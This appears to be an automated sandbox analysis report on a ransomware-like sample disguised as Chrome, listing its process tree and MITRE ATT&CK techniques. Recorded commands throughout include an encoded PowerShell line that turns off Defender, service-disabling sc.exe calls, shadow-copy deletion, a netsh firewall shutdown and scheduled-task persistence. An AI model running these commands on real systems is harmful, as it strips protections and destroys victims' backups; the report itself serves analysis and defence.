PID 2540 wrote to memory of 5076	2540	chrome.exe	104
PID 5824 wrote to memory of 4600	5824	sutbongtvv.io_chrome.exe	106
PID 5824 wrote to memory of 4724	5824	sutbongtvv.io_chrome.exe	108
PID 5824 wrote to memory of 3748	5824	sutbongtvv.io_chrome.exe	154
PID 5824 wrote to memory of 1172	5824	sutbongtvv.io_chrome.exe	112
PID 5824 wrote to memory of 2092	5824	sutbongtvv.io_chrome.exe	114
PID 5824 wrote to memory of 4216	5824	sutbongtvv.io_chrome.exe	116
PID 5824 wrote to memory of 1132	5824	sutbongtvv.io_chrome.exe	117
PID 5824 wrote to memory of 2512	5824	sutbongtvv.io_chrome.exe	119
PID 5824 wrote to memory of 5196	5824	sutbongtvv.io_chrome.exe	121
PID 5824 wrote to memory of 5180	5824	sutbongtvv.io_chrome.exe	131
PID 4216 wrote to memory of 4804	4216	fodhelper.exe	125
PID 5824 wrote to memory of 5180	5824	sutbongtvv.io_chrome.exe	131
PID 5824 wrote to memory of 4948	5824	sutbongtvv.io_chrome.exe	167
PID 5824 wrote to memory of 728	5824	sutbongtvv.io_chrome.exe	181
PID 5824 wrote to memory of 4608	5824	sutbongtvv.io_chrome.exe	139
PID 5824 wrote to memory of 1648	5824	sutbongtvv.io_chrome.exe	141
PID 5824 wrote to memory of 4896	5824	sutbongtvv.io_chrome.exe	142
PID 5824 wrote to memory of 1076	5824	sutbongtvv.io_chrome.exe	143
PID 5824 wrote to memory of 4348	5824	sutbongtvv.io_chrome.exe	144
PID 5824 wrote to memory of 3428	5824	sutbongtvv.io_chrome.exe	145
PID 5824 wrote to memory of 6136	5824	sutbongtvv.io_chrome.exe	146
PID 5824 wrote to memory of 1892	5824	sutbongtvv.io_chrome.exe	149
PID 5824 wrote to memory of 4232	5824	sutbongtvv.io_chrome.exe	155
PID 6136 wrote to memory of 2660	6136	cmd.exe	156
PID 3428 wrote to memory of 3260	3428	cmd.exe	157
PID 4608 wrote to memory of 5048	4608	cmd.exe	158
PID 1076 wrote to memory of 1556	1076	cmd.exe	199
PID 4348 wrote to memory of 6096	4348	cmd.exe	160
PID 4896 wrote to memory of 1344	4896	cmd.exe	161
PID 1648 wrote to memory of 4184	1648	cmd.exe	162
PID 6096 wrote to memory of 5124	6096	net.exe	163
PID 4608 wrote to memory of 3216	4608	cmd.exe	164
PID 2540 wrote to memory of 5440	2540	chrome.exe	165
PID 2540 wrote to memory of 6024	2540	chrome.exe	166
PID 2540 wrote to memory of 6024	2540	chrome.exe	166
PID 2540 wrote to memory of 4948	2540	chrome.exe	167
PID 2540 wrote to memory of 4948	2540	chrome.exe	167
PID 5824 wrote to memory of 6072	5824	sutbongtvv.io_chrome.exe	168
PID 2540 wrote to memory of 5988	2540	chrome.exe	170
PID 2540 wrote to memory of 2960	2540	chrome.exe	169
PID 2540 wrote to memory of 1232	2540	chrome.exe	171
PID 2540 wrote to memory of 5988	2540	chrome.exe	170
PID 2540 wrote to memory of 2960	2540	chrome.exe	169
PID 2540 wrote to memory of 1232	2540	chrome.exe	171
PID 5824 wrote to memory of 5864	5824	sutbongtvv.io_chrome.exe	174

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://sutbongtvv.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc2abec728,0x7ffc2abec734,0x7ffc2abec740
    3⤵
    PID:5920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,17952617149607042528,2182249280542916845,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,14118619889926662328,7408359249602138657,262144 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:2
    3⤵
    PID:1412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2008,i,11066336534460406527,17397412246382167587,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:13
    3⤵
    PID:4212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3060,i,272270843777555440,13172266995441871009,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:2824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3040,i,14298396778321920970,2154562640142541657,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=3076 /prefetch:1
    3⤵
    PID:1652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4680,i,1767637043707170458,432568287556797043,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:14
    3⤵
    PID:4400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4848,i,17956902589266425399,11457744868989122285,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:1
    3⤵
    PID:5076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3256,i,6871419884794813653,11939534131144351965,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:14
    3⤵
    PID:5440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3284,i,12540783239664546909,17357744280512276459,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3248,i,461222224211075272,11291241910345800406,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:1
    3⤵
    PID:4948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3308,i,15879985472018349860,18428047926572601598,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
    3⤵
    PID:2960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5996,i,9115255231973806774,4330876508473817344,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:5988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6032,i,8710736436809235155,18131804756231012546,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:14
    3⤵
    PID:1232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5752,i,50422774334605198,10184795477764385085,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:1
    3⤵
    PID:1324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5220,i,8855009538772005593,18231006657602528684,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:14
    3⤵
    PID:3900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5736,i,901759570054245412,4392174846806179893,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:1
    3⤵
    PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5256,i,3406450896816169839,8178605332471708475,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:1
    3⤵
    PID:5844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5924,i,8063338862438422991,1186774355614381623,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
    3⤵
    PID:924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6240,i,13470708254616011152,3936234374350551729,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:1
    3⤵
    PID:2316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6188,i,7956480914979172987,6568452632989555464,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:1
    3⤵
    PID:4476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6132,i,16500109591562026895,8375159910154360212,2097152 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:9
    3⤵
    PID:400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3316,i,4582293997215801167,8595309673777709116,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:14
    3⤵
    PID:2972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,15341647423067845043,9769841257914081546,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:14
    3⤵
    PID:5376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6592,i,13575911909717648193,4318171788842142811,524288 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:14
    3⤵
    PID:1556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5384,i,16826515556021448653,8844432327566150836,262144 --field-trial-handle=2380,i,17727926115529123768,17452987596186588439,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:10
    3⤵
    PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4516
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2092
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"
    3⤵
    PID:4804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2512
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5196
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5180
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5180
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4948
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3216
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6096
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4516
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6136
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2660
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3748
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4232
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:6072
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5864
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2108
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3040
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:728

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3416

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5020

C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
1⤵
PID:5732

C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe
1⤵
PID:5144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2284

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552
